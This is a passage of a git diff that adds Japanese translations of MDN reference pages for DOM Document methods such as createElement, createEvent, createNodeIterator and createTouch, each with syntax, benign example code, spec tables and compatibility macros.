+element.appendChild(fragment);
+
+ +

結果

+ +

{{EmbedLiveSample("Example", 600, 140)}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM WHATWG')}}DOM 1 仕様書にて初回定義
+ +

ブラウザーの互換性

+ +
+ + +

{{Compat("api.Document.createDocumentFragment")}}

+
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/createelement/index.html b/files/ja/web/api/document/createelement/index.html new file mode 100644 index 0000000000..1c1e9c7ba8 --- /dev/null +++ b/files/ja/web/api/document/createelement/index.html @@ -0,0 +1,136 @@ +--- +title: Document.createElement() +slug: Web/API/Document/createElement +tags: + - API + - DOM + - Document + - Method + - Reference + - createElement + - メソッド +translation_of: Web/API/Document/createElement +--- +
{{APIRef("DOM")}}
+ +

HTML 文書において、 document.createElement() メソッドは tagName で指定された HTML 要素を生成し、または tagName が認識できない場合は {{domxref("HTMLUnknownElement")}} を生成します。

+ +

構文

+ +
var element = document.createElement(tagName[, options]);
+
+ +

引数

+ +
+
tagName
+
生成される要素の型を特定する文字列。生成される要素の {{domxref("Node.nodeName", "nodeName")}} は tagName の値で初期化されます。このメソッドで修飾名 ("html:a" など) を使用しないでください。 HTML 文書で呼び出すと、 createElement() は要素を生成する前に tagName を小文字に変換します。 Firefox, Opera, Chrome では、 createElement(null) は createElement("null") のように動作します。
+
options{{optional_inline}}
+
省略可能な ElementCreationOptions オブジェクトで、 is という名前のプロパティをひとつ持ち、その値は前に customElements.define() を使用して定義したカスタム要素の名前です。詳しくは{{anch("Web component example", "ウェブコンポーネントの例")}}を参照してください。
+
+ +

返値

+ +

新しい {{domxref("Element")}}。

+ +

例

+ +

基本的な例

+ +

この例では新しい <div> を生成し、"div1" の id の要素の前に挿入します。

+ +

HTML

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>||Working with elements||</title>
+</head>
+<body>
+  <div id="div1">The text above has been created dynamically.</div>
+</body>
+</html>
+
+ +

JavaScript

+ +
document.body.onload = addElement;
+
+function addElement () {
+  // 新しい div 要素を作成します
+  var newDiv = document.createElement("div");
+  // いくつかの内容を与えます
+  var newContent = document.createTextNode("Hi there and greetings!");
+  // テキストノードを新規作成した div に追加します
+  newDiv.appendChild(newContent);
+
+  // DOM に新しく作られた要素とその内容を追加します
+  var currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}
+ +

{{EmbedLiveSample("Basic_example", 500, 50)}}

+ +

ウェブコンポーネントの例

+ +

以下の例の断片は expanding-list-web-component の例から取ったものです (ライブでもご覧ください)。この場合、カスタム要素は {{domxref("HTMLUListElement")}} を拡張し、 {{htmlelement("ul")}} 要素を表します。

+ +
// Create a class for the element
+class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // constructor definition left out for brevity
+    ...
+  }
+}
+
+// Define the new element
+customElements.define('expanding-list', ExpandingList, { extends: "ul" });
+ +

この要素のインスタンスをプログラム的に生成したければ、次の行のような呼び出しを使用します。

+ +
let expandingList = document.createElement('ul', { is : 'expanding-list' })
+ +

新しい要素には is 属性が与えられ、その値はカスタム要素のタグ名になります。

+ +
+

注: カスタム要素仕様書の以前のバージョンととの後方互換性のため、一部のブラウザーはオブジェクトの代わりに文字列を渡すことを認めており、この文字列はカスタム要素のタグ名です。

+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.createElement")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/createelementns/index.html b/files/ja/web/api/document/createelementns/index.html new file mode 100644 index 0000000000..9943b32437 --- /dev/null +++ b/files/ja/web/api/document/createelementns/index.html @@ -0,0 +1,123 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createElementNS +--- +
{{APIRef("DOM")}}
+ +

指定された名前空間 URI と修飾名を持つ要素を生成します。

+ +

名前空間 URI を指定せずに要素を生成する場合は、 {{DOMxRef("Document.createElement()", "createElement()")}} メソッドを使用してください。

+ +

構文

+ +
var element = document.createElementNS(namespaceURI, qualifiedName[, options]);
+
+ +

引数

+ +
+
namespaceURI
+
文字列で、要素に関連付ける名前空間 URI を指定します。生成される要素の {{DOMxRef("element.namespaceURI", "namespaceURI")}} プロパティは namespaceURI の値で初期化されます。妥当な名前空間 URI も参照してください。
+
qualifiedName
+
文字列で、生成される要素の型を指定します。生成される要素の {{DOMxRef("element.nodeName", "nodeName")}} プロパティは、 qualifiedName の値で初期化されます。
+
options{{Optional_Inline}}
+
任意の ElementCreationOptions オブジェクトで、 is という名前の単一のプロパティを持ち、その値として以前に customElements.define() を使用して定義されたカスタム要素のタグ名を設定します。以前のバージョンの Custom Elements specification との後方互換性のため、ブラウザーによってはここにオブジェクトの代わりに、文字列を渡すことができ、その文字列の値はカスタム要素のタグ名になります。この引数の使い方について詳しい情報は、 Extending native HTML elements を参照してください。
+
新しい要素には is 属性が与えられ、値はカスタム要素のタグ名になります。カスタム要素は一部のブラウザーのみで利用できる試行的な機能です。
+
+ +

返値

+ +

The new {{DOMxRef("Element")}}.

+ +

重要な名前空間 URI

+ +
+
HTML
+
http://www.w3.org/1999/xhtml
+
SVG
+
http://www.w3.org/2000/svg
+
MathML
+
http://www.w3.org/1998/Math/MathML
+
XUL {{Non-standard_Inline}}
+
http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
+
XBL {{Non-standard_Inline}} {{Deprecated_Inline}}
+
http://www.mozilla.org/xbl
+
+ +

例

+ +

これは新しい <div> 要素を {{Glossary("XHTML")}} 名前空間に生成し、 vbox 要素に追加します。これは有用な XUL 文書ではありませんが、二つの異なる名前空間の要素を単一の文書内で利用する方法を紹介しています。

+ +
<?xml version="1.0"?>
+<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+      xmlns:html="http://www.w3.org/1999/xhtml"
+      title="||Working with elements||"
+      onload="init()">
+
+<script type="application/javascript"><![CDATA[
+ let container;
+ let newdiv;
+ let txtnode;
+
+ function init(){
+   container = document.getElementById("ContainerBox");
+   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml", "div");
+   txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild.");
+   newdiv.appendChild(txtnode);
+   container.appendChild(newdiv);
+ }
+
+]]></script>
+
+ <vbox id="ContainerBox" flex="1">
+  <html:div>
+   The script on this page will add dynamic content below:
+  </html:div>
+ </vbox>
+
+</page>
+
+ +
+

上記の例は XHTML 文書では推奨されていないインラインスクリプトを使用しています。この部分的な例は実際には XUL 文書に埋め込んだ XHTML があるものですが、それでもこの推奨事項は適用されます。

+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("DOM WHATWG", "#dom-document-createelementns", "Document.createElementNS()")}}{{Spec2("DOM WHATWG")}}
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.createElementNS")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/createentityreference/index.html b/files/ja/web/api/document/createentityreference/index.html new file mode 100644 index 0000000000..ab29c22cde --- /dev/null +++ b/files/ja/web/api/document/createentityreference/index.html @@ -0,0 +1,25 @@ +--- +title: Document.createEntityReference() +slug: Web/API/Document/createEntityReference +tags: + - API + - DOM + - Obsolete + - Reference + - メソッド + - 廃止 +translation_of: Web/API/Document/createEntityReference +--- +
{{ApiRef("DOM")}} {{obsolete_header("7.0")}}
+ +

{{gecko("7.0")}} より前では、このメソッドはバグ {{bug("9850")}} の影響で、常に null のみを返すものとして登場しました。唯一の用途は、テキストノード、 CDATA セクション、属性ノード値など、エンティティから Unicode エスケープシーケンス または {{jsxref("String.fromCharCode", "fromCharCode()")}} を使用して参照される値があるもののみでした。

+ +

仕様書

+ +

createEntityReference

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.createEntityReference")}}

diff --git a/files/ja/web/api/document/createevent/index.html b/files/ja/web/api/document/createevent/index.html new file mode 100644 index 0000000000..a439ccf6dd --- /dev/null +++ b/files/ja/web/api/document/createevent/index.html @@ -0,0 +1,109 @@ +--- +title: Document.createEvent() +slug: Web/API/Document/createEvent +tags: + - API + - DOM + - Document + - Method + - Reference + - createEvent + - メソッド +translation_of: Web/API/Document/createEvent +--- +
+

initCustomEvent など、createEvent とともに使用される多くのメソッドは非推奨です。代わりに イベントのコンストラクター を使用してください。

+
+ +
{{ApiRef("DOM")}}
+ +

指定された型の イベント を作成します。返されるオブジェクトは最初に初期化する必要があり、その後で {{domxref("EventTarget.dispatchEvent")}} へ渡すことができます。

+ +

構文

+ +
var event = document.createEvent(type);
+
+ + + +

例

+ +
// イベントを作成します。
+var event = document.createEvent('Event');
+
+// イベントの名前を 'build' に定義します。
+event.initEvent('build', true, true);
+
+// イベントを待受します。
+elem.addEventListener('build', function (e) {
+  // e.target が elem に対応する
+}, false);
+
+// ターゲットは任意の Element やほかの EventTarget にすることができます。
+elem.dispatchEvent(event);
+
+ +

注

+ +

createEvent() に渡すのに適したイベント型を表す文字列は DOM 標準で定義されています。ステップ 2 の表をご覧ください。現在はほとんどのイベントオブジェクトにコンストラクターがあり、それらはイベントオブジェクトのインスタンスを生成するために推奨される、現代的な方法であることに注意してください。

+ +

Gecko は非標準のイベントオブジェクトの別名をサポートしています。詳細は以下の表を参照してください。

+ + + + + + + + + + + + + + + + + + + + + + + + +
イベントモジュール標準イベントオブジェクトGecko が対応する別名
テキストイベントモジュールTextEventTextEvents
キーボードイベントモジュールKeyboardEventKeyEvents
基本イベントモジュールEventEvents
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createevent', 'document.createEvent')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.createEvent")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/createexpression/index.html b/files/ja/web/api/document/createexpression/index.html new file mode 100644 index 0000000000..847bf1ea3c --- /dev/null +++ b/files/ja/web/api/document/createexpression/index.html @@ -0,0 +1,47 @@ +--- +title: Document.createExpression() +slug: Web/API/Document/createExpression +tags: + - API + - DOM + - Document + - Reference + - XPath + - createExpression + - メソッド +translation_of: Web/API/Document/createExpression +--- +
{{APIRef("DOM")}}
+ +

このメソッドは、 (繰り返して) 評価を行うために使用することができる {{DOMxRef("XPathExpression")}} をコンパイルします。

+ +

構文

+ +
xpathExpr = document.createExpression(xpathText, namespaceURLMapper);
+
+ +

引数

+ + + +

{{Fx_MinVersion_Note(3, "Firefox 3 より前では、対象として XPath を実行する文書以外の文書に対してこのメソッドを呼び出すことができました。 Firefox 3 では、同じ文書に対して呼び出す必要があります。")}}

+ +

返値

+ +

{{DOMxRef("XPathExpression")}}

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.createExpression")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/createnodeiterator/index.html b/files/ja/web/api/document/createnodeiterator/index.html new file mode 100644 index 0000000000..987deb7207 --- /dev/null +++ b/files/ja/web/api/document/createnodeiterator/index.html @@ -0,0 +1,156 @@ +--- +title: Document.createNodeIterator() +slug: Web/API/Document/createNodeIterator +tags: + - API + - DOM + - Gecko + - MakeBrowserAgnostic + - Method + - メソッド +translation_of: Web/API/Document/createNodeIterator +--- +
{{APIRef("DOM")}}
+ +

新しい {{domxref("NodeIterator")}} オブジェクトを返します。

+ +

構文

+ +
const nodeIterator = document.createNodeIterator(root[, whatToShow[, filter]]);
+
+ +

値

+ +
+
root
+
{{ domxref("NodeIterator") }} の探索の開始地点になるルートノードです。
+
whatToShow {{ optional_inline() }}
+
オプションの unsigned long 値で、 NodeFilter の定数プロパティを組み合わせて作られたビットマスクを表します。これは特定の種類のノードを絞り込みするのに便利な方法です。. 既定値は 0xFFFFFFFF で、 SHOW_ALL 定数を表します。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
定数数値説明
NodeFilter.SHOW_ALL-1 (すなわち unsigned long の最大値)すべてのノードを表します。
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2 +

属性 {{ domxref("Attr") }} ノードを表します。

+ +

これは、 {{ domxref("Attr") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、その属性ノードが反復や探索の最初の位置に現れることを意味します。属性は他のノードの子ではないので、文書ツリーを探索しても現れません。

+
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8{{ domxref("CDATASection") }} ノードを表します。
NodeFilter.SHOW_COMMENT128{{ domxref("Comment") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT256{{ domxref("Document") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024{{ domxref("DocumentFragment") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT_TYPE512{{ domxref("DocumentType") }} ノードを表します。
NodeFilter.SHOW_ELEMENT1{{ domxref("Element") }} ノードを表します。
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32{{ domxref("Entity") }} ノードを表示します。これは、 {{ domxref("Entity") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Entity") }} ノードが探索の最初の位置に現れることを意味します。エンティティは文書ツリーの一部ではないので、文書ツリーを探索しても表されません。
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16{{ domxref("EntityReference") }} ノードを表します。
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048{{ domxref("Notation") }} ノードを表示します。これは、 {{ domxref("Notation") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Notation") }} ノードが探索の最初の位置に現れることを意味します。 Notation は文書ツリーの一部ではないので、文書ツリーを探索しても表されません。
NodeFilter.SHOW_PROCESSING_INSTRUCTION64Shows {{ domxref("ProcessingInstruction") }} nodes.
NodeFilter.SHOW_TEXT4{{ domxref("Text") }} ノードを表します。
+
+
filter {{ optional_inline() }}
+
NodeFilter インターフェースを実装したオブジェクト。その acceptNode() メソッドは、反復可能なノードのリストに含めるかどうかを決定するために、 whatToShow フラグによって含まれていると受け入れられたルートを基準としたサブツリーの各ノードに対して呼び出されます (代わりに単純なコールバック関数を使用することもできます)。このメソッドは NodeFilter.FILTER_ACCEPT, NodeFilter.FILTER_REJECT, or NodeFilter.FILTER_SKIP のいずれかを返します。{{ anch("Example", "例") }}を参照してください。
+
+ +
メモ: Gecko 12.0 (Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9) より前の版では、このメソッドは DOM4 仕様の一部ではないオプションの 4 番目の引数 (entityReferenceExpansion) を受け入れていました。この引数は、エンティティ参照ノードの子がイテレーターから見えるかどうかを示していました。このようなノードはブラウザーでは作成されないので、この引数は何の効果もありませんでした。
+ +

例

+ +
const nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    function(node) {
+        return node.nodeName.toLowerCase() === 'p' ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_REJECT;
+    }
+);
+const pars = [];
+let currentNode;
+
+while (currentNode = nodeIterator.nextNode()) {
+  pars.push(currentNode);
+}
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createnodeiterator', 'document.createNodeIterator')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.createNodeIterator")}}

diff --git a/files/ja/web/api/document/creatensresolver/index.html b/files/ja/web/api/document/creatensresolver/index.html new file mode 100644 index 0000000000..023c0b8ea8 --- /dev/null +++ b/files/ja/web/api/document/creatensresolver/index.html @@ -0,0 +1,71 @@ +--- +title: Document.createNSResolver() +slug: Web/API/Document/createNSResolver +tags: + - API + - DOM + - DOM Reference + - Method + - Reference +translation_of: Web/API/Document/createNSResolver +--- +

{{ ApiRef("DOM") }}

+ +

指定されたノードのスコープで定義を尊重する名前空間を解決する XPathNSResolver を生成します。

+ +

構文

+ +
nsResolver = document.createNSResolver(node);
+
+ +

引数

+ + + +

返値

+ + + +

注

+ +

任意の DOM ノードをネームスペースを解決するように修正し、 XPath 式が文書内に現れたノードのコンテキストに対して容易に評価できるようにします。このアダプターは、 lookupNamespaceURI が呼び出されたときにノードの階層で使用可能な現在の情報を使用して、指定された接頭辞から namespaceURI を解決する際に、ノード上の DOM Level 3 メソッド lookupNamespaceURI のように機能します。 暗黙の xml 接頭辞も正しく解決されます。

+ +

なお、 XPath は、ヌル名前空間の要素と一致する接頭辞のない QNames を定義します。 XPath には、通常の要素参照に適用される既定の名前空間を選択する方法はありません (例えば xmlns='http://www.w3.org/1999/xhtml' における p[@id='_myid'])。ヌルではない名前空間の既定の要素を照合するには、 *namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid'] のような形を使用して特定の要素を参照するか (このアプローチは名前空間が分からない可能性がある動的 XPath 式で動作します)、接頭辞付きの名前の条件を使用し、接頭辞と名前空間を対応付ける名前空間リゾルバーを作成するかしてください。後者のアプローチを採りたいと思うのであれば、ユーザー定義の名前空間リゾルバーの作成方法をお読みください。

+ +

createNSResolver は DOM Level 3 で導入されました。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM3 XPath', 'xpath.html#XPathEvaluator-createNSResolver', 'document.createNSResolver')}}{{Spec2('DOM3 XPath')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.createNSResolver")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/createprocessinginstruction/index.html b/files/ja/web/api/document/createprocessinginstruction/index.html new file mode 100644 index 0000000000..520320fa5d --- /dev/null +++ b/files/ja/web/api/document/createprocessinginstruction/index.html @@ -0,0 +1,98 @@ +--- +title: Document.createProcessingInstruction() +slug: Web/API/Document/createProcessingInstruction +tags: + - API + - DOM + - Document + - Method + - Reference + - createProcessInstruction +translation_of: Web/API/Document/createProcessingInstruction +--- +
{{APIRef("DOM")}}
+ +

createProcessingInstruction() は新しい処理命令ノードを生成して返します。

+ +

新しいノードは {{ domxref("node.insertBefore") }} のように、あらゆることを成立させるために XML 文書に挿入されます。

+ +

構文

+ +
piNode = document.createProcessingInstruction(target, data)
+
+ +

引数

+ + + +

例外

+ +
+
DOM_INVALID_CHARACTER
+
以下の何れかが真になると例外を投げます。 +
    +
  • 処理命令の target が無効である — 有効な XML 名とは、 "xml", "XML" またはその2つの大文字・小文字の組み合わせであり、 <?xml-stylesheet ?> のような標準化されたものではないものです。
    • +
  • closing processing instruction sequence (?>) がdata に含まれている。
    • +
+
+
+ +

例

+ +
var doc = new DOMParser().parseFromString('<foo />', 'application/xml');
+var pi = doc.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"');
+
+doc.insertBefore(pi, doc.firstChild);
+
+console.log(new XMLSerializer().serializeToString(doc));
+// Displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/>
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}}{{Spec2('DOM WHATWG')}}変更なし
{{SpecName('DOM4', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}}{{Spec2('DOM4')}}data 引数の検証方法のもっと詳細な定義を追加した。
{{SpecName('DOM3 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM3 Core')}}対象名の名前空間が正しい形式かどうかチェックされないこと、どの文字が対象名に違反するかの定義、返された {{domxref("ProcessingInstruction")}} オブジェクトのより詳細についてのメモを追加。
{{SpecName('DOM2 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM2 Core')}}変更なし
{{SpecName('DOM1', 'level-one-core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM1')}}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.createProcessingInstruction")}}

diff --git a/files/ja/web/api/document/createrange/index.html b/files/ja/web/api/document/createrange/index.html new file mode 100644 index 0000000000..568c81c60c --- /dev/null +++ b/files/ja/web/api/document/createrange/index.html @@ -0,0 +1,60 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +tags: + - API + - DOM + - DOM Reference + - Document + - DocumentRange.createRange + - Method + - Range +translation_of: Web/API/Document/createRange +--- +
{{APIRef("DOM")}}
+ +

Document.createRange() メソッドは、新しい {{domxref("Range")}} オブジェクトを返します。

+ +

構文

+ +
range = document.createRange();
+
+ +

range は生成された {{domxref("Range")}} オブジェクトです。

+ +

例

+ +
let range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+
+ +

注

+ +

Range を生成したあと、大部分のメソッドを使用するには境界を設定する必要があります。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createrange', 'document.createRange')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.createRange")}}
diff --git a/files/ja/web/api/document/createtextnode/index.html b/files/ja/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..478ab99c0d --- /dev/null +++ b/files/ja/web/api/document/createtextnode/index.html @@ -0,0 +1,81 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - API + - DOM + - Document + - Reference + - createTextNode + - メソッド +translation_of: Web/API/Document/createTextNode +--- +
{{APIRef("DOM")}}
+ +

新しい {{domxref("Text")}} ノードを生成します。このメソッドは HTML 文字をエスケープするのに利用できます。

+ +

構文

+ +
var text = document.createTextNode(data);
+
+ + + +

例

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>createTextNode example</title>
+<script>
+function addTextNode(text) {
+  var newtext = document.createTextNode(text),
+      p1 = document.getElementById("p1");
+
+  p1.appendChild(newtext);
+}
+</script>
+</head>
+
+<body>
+  <button onclick="addTextNode('YES! ');">YES!</button>
+  <button onclick="addTextNode('NO! ');">NO!</button>
+  <button onclick="addTextNode('WE CAN! ');">WE CAN!</button>
+
+  <hr />
+
+  <p id="p1">First line of paragraph.</p>
+</body>
+</html>
+
+
+ +

{{EmbedLiveSample('Example')}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}}{{Spec2('DOM WHATWG')}} 
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.createTextNode")}}

diff --git a/files/ja/web/api/document/createtouch/index.html b/files/ja/web/api/document/createtouch/index.html new file mode 100644 index 0000000000..3d315b221e --- /dev/null +++ b/files/ja/web/api/document/createtouch/index.html @@ -0,0 +1,118 @@ +--- +title: Document.createTouch() +slug: Web/API/Document/createTouch +tags: + - API + - Deprecated + - HTML DOM + - Method + - Mobile + - Reference + - createTouch + - touch +translation_of: Web/API/Document/createTouch +--- +
{{APIRef("DOM")}}{{Deprecated_Header}}
+ +
+

注: {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。

+
+ +

Document.createTouch() メソッドは、新しい {{DOMxRef("Touch")}} オブジェクトを生成して返します。

+ +

構文

+ +
var touch = DocumentTouch.createTouch(view, target, identifier, pageX, pageY,
+                                      screenX, screenY);
+
+ +

引数

+ +
注: すべての引数が省略可能です。
+ +
+
view
+
タッチが発生した {{DOMxRef("window")}} です。
+
target
+
タッチの {{DOMxRef("EventTarget")}} です。
+
identifier
+
{{DOMxRef("Touch.identifier")}} の値です。
+
pageX
+
{{DOMxRef("Touch.pageX")}} の値です。
+
pageY
+
{{DOMxRef("Touch.pageY")}} の値です。
+
screenX
+
{{DOMxRef("Touch.screenX")}} の値です。
+
screenY
+
{{DOMxRef("Touch.screenY")}} の値です。
+
+ +
注: このメソッドの以前のバージョンでは、以下の追加の引数を含んでいましたが、これらの引数は下記の標準のいずれにも含まれていません。従って、これらの引数は非推奨であり、使用されないと考えてください。
+ +
+
clientX
+
{{DOMxRef("Touch.clientX")}} の値です。
+
clientY
+
{{DOMxRef("Touch.clientY")}} の値です。
+
radiusX
+
{{DOMxRef("Touch.radiusX")}} の値です。
+
radiusY
+
{{DOMxRef("Touch.radiusY")}} の値です。
+
rotationAngle
+
{{DOMxRef("Touch.rotationAngle")}} の値です。
+
force
+
{{DOMxRef("Touch.force")}} の値です。
+
+ +

返値

+ +
+
touch
+
入力引数で記述されたように構成された {{DOMxRef("Touch")}} オブジェクトです。
+
+ +

例

+ +

この例は {{DOMxRef("Document.createTouch()")}} メソッドを使用して {{DOMxRef("Touch")}} オブジェクトを生成する様子を示しています。

+ +

以下のコードスニペットでは、2つの {{DOMxRef("Touch")}} オブジェクトが target 要素に生成されます。

+ +
var target = document.getElementById("target");
+
+var touch1 = Document.createTouch(window, target, 1, 15, 20, 35, 40);
+var touch2 = Document.createTouch(window, target, 2, 25, 30, 45, 50);
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("Touch Events", "#widl-Document-createTouch-Touch-WindowProxy-view-EventTarget-target-long-identifier-long-pageX-long-pageY-long-screenX-long-screenY", "Document.createTouch()")}}{{Spec2("Touch Events")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.createTouch")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/createtouchlist/index.html b/files/ja/web/api/document/createtouchlist/index.html new file mode 100644 index 0000000000..5a6e18d16f --- /dev/null +++ b/files/ja/web/api/document/createtouchlist/index.html @@ -0,0 +1,99 @@ +--- +title: Document.createTouchList() +slug: Web/API/Document/createTouchList +tags: + - API + - DOM + - Deprecated + - Document + - Method + - Mobile + - createTouchList + - touch + - タッチパネル + - メソッド +translation_of: Web/API/Document/createTouchList +--- +
{{APIRef("DOM")}}{{Deprecated_Header}}
+ +
+

注: {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。

+
+ +

Document.createTouchList() メソッドは、新しい {{DOMxRef("TouchList")}} オブジェクトを生成して返します。

+ +

構文

+ +
var list = DocumentTouch.createTouchList([touch1 [, touch2 [, ...]]]);
+
+ +

引数

+ +
+
touches
+
0個以上の {{DOMxRef("Touch")}} オブジェクトです。 注: Firefox は {{DOMxRef("Touch")}} オブジェクトの配列も受け付けます。
+
+ +

返値

+ +
+
list
+
{{DOMxRef("TouchList")}} オブジェクトで、 touches 引数で指定された {{DOMxRef("Touch")}} オブジェクトを含みます。
+
+ +

例

+ +

この例は、 {{DOMxRef("Document.createTouchList()")}} メソッドを使用して {{DOMxRef("TouchList")}} オブジェクトを生成する様子を紹介しています。

+ +

以下のコードスニペットでは、いくつかの {{DOMxRef("Touch")}} オブジェクトがタッチ点と共に target 要素に生成され、 {{DOMxRef("TouchList")}} オブジェクトを作成するために使用されます。

+ +
var target = document.getElementById("target");
+
+// Create some touch points
+var touch1 = document.createTouch(window, target, 1, 15, 20, 35, 40);
+var touch2 = document.createTouch(window, target, 2, 25, 30, 45, 50);
+
+// Create an empty TouchList objects
+var list0 = document.createTouchList();
+
+// Create a TouchList with only one Touch object
+var list1 = document.createTouchList(touch1);
+
+// Create a list with two Touch objects
+var list2 = document.createTouchList(touch1, touch2);
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("Touch Events", "#widl-Document-createTouchList-TouchList-Touch-touches", "Document.createTouchList()")}}{{Spec2("Touch Events")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.createTouchList")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/currentscript/index.html b/files/ja/web/api/document/currentscript/index.html new file mode 100644 index 0000000000..0a7f43faee --- /dev/null +++ b/files/ja/web/api/document/currentscript/index.html @@ -0,0 +1,68 @@ +--- +title: Document.currentScript +slug: Web/API/Document/currentScript +tags: + - API + - DOM + - Document + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/currentScript +--- +

{{APIRef("DOM")}}

+ +

Document.currentScript プロパティは、現在処理中で、 JavaScript モジュールではないスクリプトの {{HTMLElement("script")}} 要素を返します。 (モジュールの場合は代わりに {{JSxRef("Statements/import%2Emeta", "import.meta")}} を使用してください。

+ +

重要なことですが、スクリプト内のコードがコールバックまたはイベントハンドラーとして呼び出されている場合は、 {{HTMLElement("script")}} 要素を参照しないことに注意してください。初期化時に処理されている要素のみを参照します。

+ +

構文

+ +
var curScriptElement = document.currentScript;
+
+ +

例

+ +

次の例では、スクリプトが非同期で実行されているかどうかをチェックしています。

+ +
if (document.currentScript.async) {
+  console.log("非同期で実行中");
+} else {
+  console.log("同期で実行中");
+}
+ +

実際の表示を確認

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}{{Spec2("HTML WHATWG")}}初回定義
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.currentScript")}}
+ +

関連情報

